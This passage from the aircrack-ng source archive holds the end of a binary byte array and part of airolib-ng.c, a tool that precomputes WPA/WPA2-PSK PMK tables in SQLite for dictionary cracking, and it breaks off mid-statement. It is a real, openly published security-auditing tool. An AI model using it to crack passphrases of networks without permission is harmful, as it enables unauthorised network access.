0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x00, 0x6e, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x69, 0x00, 0x73, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00}; aircrack-ng-1.2-rc4/src/airolib-ng.c0000644000000000000000000010035512631715037015710 0ustar rootroot/* * A tool to compute and manage PBKDF2 values as used in WPA-PSK and WPA2-PSK * * Copyright (C) 2007-2009 ebfe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include #include #include "aircrack-ng.h" #include "crypto.h" #ifdef HAVE_REGEXP #include #endif #include "version.h" #define IMPORT_ESSID "essid" #define IMPORT_PASSWD "passwd" #define IMPORT_COWPATTY "cowpatty" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void print_help(const char * msg) { char *version_info = getVersion("Airolib-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf("\n" " %s - (C) 2007, 2008, 2009 ebfe\n" " http://www.aircrack-ng.org\n" "\n" " Usage: airolib-ng [options]\n" "\n" " Operations:\n" "\n" " --stats : Output information about the database.\n" " --sql : Execute specified SQL statement.\n" " --clean [all] : Clean the database from old junk. 'all' will also \n" " reduce filesize if possible and run an integrity check.\n" " --batch : Start batch-processing all combinations of ESSIDs\n" " and passwords.\n" " --verify [all] : Verify a set of randomly chosen PMKs.\n" " If 'all' is given, all invalid PMK will be deleted.\n" "\n" " --import [essid|passwd] :\n" " Import a text file as a list of ESSIDs or passwords.\n" " --import cowpatty :\n" " Import a cowpatty file.\n" "\n" " --export cowpatty :\n" " Export to a cowpatty file.\n" "\n", version_info); free(version_info); if (msg && strlen(msg) > 0) { printf("%s", msg); puts(""); } } void sql_error(sqlite3* db) { fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db)); } int sql_exec_cb(sqlite3* db, const char *sql, void* callback, void* cb_arg) { #ifdef SQL_DEBUG printf(sql); printf("\n"); fflush(stdout); #endif int rc; char *zErrMsg = 0; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_exec(db,sql,callback,cb_arg,&zErrMsg); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc++ % sizeof(looper)]); fflush(stdout); sleep(1); } else { if (rc != SQLITE_OK) { fprintf(stderr, "SQL error. %s\n", zErrMsg); sqlite3_free(zErrMsg); } if (waited != 0) printf("\n\n"); return rc; } } } // execute sql fast and hard. int sql_exec(sqlite3* db, const char *sql) { return sql_exec_cb(db,sql,0,0); } // wrapper for sqlite3_step which retries executing statements if the db returns SQLITE_BUSY or SQLITE_LOCKED int sql_step(sqlite3_stmt* stmt, int wait) { int rc; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_step(stmt); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { if (wait != 0) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc]); fflush(stdout); wait--; looperc = looperc+1 % sizeof(looper); sleep(1); } else { fprintf(stderr,"Database was locked or busy while getting results. I've given up.\n"); return rc; } } else { if (waited != 0) printf("\n\n"); return rc; } } } // wrapper for sqlite3_prepare_v2 which retries creating statements if the db returns SQLITE_BUSY or SQLITE_LOCKED int sql_prepare(sqlite3 *db, const char *sql, sqlite3_stmt **ppStmt, int wait) { #ifdef SQL_DEBUG printf(sql); printf("\n"); fflush(stdout); #endif int rc; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_prepare_v2(db,sql,-1,ppStmt,NULL); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { if (wait != 0) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r", ++waited, looper[looperc]); fflush(stdout); wait--; looperc = looperc+1 % sizeof(looper); sleep(1); } else { fprintf(stderr,"Database was locked or busy while creating statement. I've given up.\n"); return rc; } } else { if (waited != 0) printf("\n\n"); return rc; } } } // generic function to dump a resultset including column names to stdout int stmt_stdout(sqlite3_stmt* stmt, int* rowcount) { int ccount; int rcount = 0; int rc; if (stmt == 0 || (ccount = sqlite3_column_count(stmt)) == 0) { return sql_step(stmt,0); } int i = 0; do { printf("%s", sqlite3_column_name(stmt,i++)); if (i < ccount) printf("\t"); } while (i < ccount); printf("\n"); while ((rc = sql_step(stmt,0)) == SQLITE_ROW) { i = 0; rcount++; do { printf("%s", (char *)sqlite3_column_text(stmt,i++)); if (i < ccount) printf("\t"); } while (i < ccount); printf("\n"); } if (rowcount != NULL) *rowcount=rcount; return rc; } // generic function to dump the output of a sql statement to stdout. // will return sqlite error codes but also handle (read: ignore) them itself int sql_stdout(sqlite3* db, const char* sql, int* rowcount) { int rc; sqlite3_stmt *stmt; rc = sql_prepare(db,sql,&stmt,-1); if (rc != SQLITE_OK) { sql_error(db); return rc; } rc = stmt_stdout(stmt,rowcount); sqlite3_finalize(stmt); if (rc == SQLITE_DONE) { if (sqlite3_changes(db) > 0) fprintf(stdout,"Query done. %i rows affected.",sqlite3_changes(db)); } else { sql_error(db); } printf("\n"); return rc; } // retrieve a single int value using a sql query. // returns 0 if something goes wrong. beware! create your own statement if you need error handling. int query_int(sqlite3* db, const char* sql) { sqlite3_stmt *stmt; int rc; int ret; rc = sql_prepare(db,sql,&stmt,-1); if (rc != SQLITE_OK || stmt == 0 || sqlite3_column_count(stmt) == 0) { sql_error(db); ret = 0; } else { rc = sql_step(stmt,-1); if (rc == SQLITE_ROW) { ret = sqlite3_column_int(stmt,0); } else { #ifdef SQL_DEBUG printf("DEBUG: query_int() returns with sql_step() != SQLITE_ROW\n"); #endif ret = 0; } } sqlite3_finalize(stmt); return ret; } // throw some statistics about the db to stdout. // if precise!=0 the stats will be queried nail by nail which can be slow void show_stats(sqlite3* db, int precise) { sql_exec(db,"BEGIN;"); int essids = query_int(db, "SELECT COUNT(*) FROM essid;"); int passwds = query_int(db,"SELECT COUNT(*) FROM passwd;"); int done; if (precise != 0) { printf("Determining precise statistics may be slow...\n"); done = query_int(db, "SELECT COUNT(*) FROM essid,passwd INNER JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id"); } else { done = query_int(db, "SELECT COUNT(*) FROM pmk;"); } fprintf(stdout,"There are %i ESSIDs and %i passwords in the database. %i out of %i possible combinations have been computed (%g%%).\n\n", essids, passwds, done, essids*passwds, essids*passwds > 0 ? ((double)done*100)/(essids*passwds) : 0); if (precise != 0) { sql_stdout(db, "select essid.essid AS ESSID, essid.prio AS Priority, round(count(pmk.essid_id) * 100.0 / count(*),2) AS Done from essid,passwd left join pmk on pmk.essid_id = essid.essid_id and pmk.passwd_id = passwd.passwd_id group by essid.essid_id;",0); } else { sql_stdout(db, "SELECT essid.essid AS ESSID, essid.prio AS Priority, 